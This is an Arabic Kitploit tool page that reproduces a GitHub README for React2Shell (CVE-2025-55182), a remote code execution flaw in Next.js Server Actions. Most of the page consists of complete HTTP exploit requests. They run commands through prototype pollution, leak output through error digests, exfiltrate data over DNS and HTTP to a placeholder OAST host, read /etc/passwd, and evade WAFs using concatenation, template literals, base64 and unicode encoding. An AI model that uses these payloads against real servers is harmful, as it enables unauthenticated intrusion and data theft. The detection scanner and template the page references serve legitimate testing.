Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
krle — إثباتات المفهوم لـ CVE-2025-55182 و CVE-2025-66478 | Kitploit
أدوات/GitHubGitHub/aseemyash/krle
الاستغلالاستغلال تطبيقات الويبتسريب البياناتتجاوز WAFاختبار الاختراقتطوير الحمولات
GitHubaseemyash/krle

krle

إثباتات المفهوم لـ CVE-2025-55182 و CVE-2025-66478

عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) هي سلسلة ثغرة حرجة لتنفيذ الأوامر عن بعد (RCE) تؤثر على تطبيقات Next.js التي تستخدم Server Actions. تستغل الثغرة ثغرة تلويث النموذج الأولي (prototype pollution) مع Server Actions لتحقيق تنفيذ تعليمات برمجية عشوائية على الخادم دون مصادقة.

هذا المستودع مخصص لمشاركة حمولات React2Shell وطرق تجاوز الحماية. المساهمات (PRs) مرحب بها دائمًا!

PoC

الموارد

فيما يلي موارد إضافية قد تجدها مفيدة:

  • ماسح React2Shell من Assetnote: https://github.com/assetnote/react2shell-scanner
  • قالب Nuclei: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

الحمولات

الإثبات الأولي للمفهوم

جميع الاعتمادات تعود إلى @maple3142 للإفصاح الأولي عن الإثبات والذي يمكن العثور عليه في GitHub Gist:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

تنفيذ أوامر كامل مع إخراج عبر رسالة الخطأ (حقل digest)

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

تشغيل استعلام DNS خارجي

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تسريب عبر DNS

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تسريب عبر HTTP

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تشغيل تأخير زمني

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تجاوز جدران الحماية (WAF) باستخدام ربط السلاسل النصية والتشفير

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

تجاوز جدران الحماية (WAF) باستخدام هروب يونيكود و القوالب الحرفية (Template Literals)

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

تجاوز جدران الحماية (WAF) باستخدام حمولة مشفرة بـ Base64

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

تجاوز جدران الحماية (WAF) عبر الترميز الكامل بيونيكود

الاعتمادات تعود إلى @pyn3rd

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--
تنزيل الأداة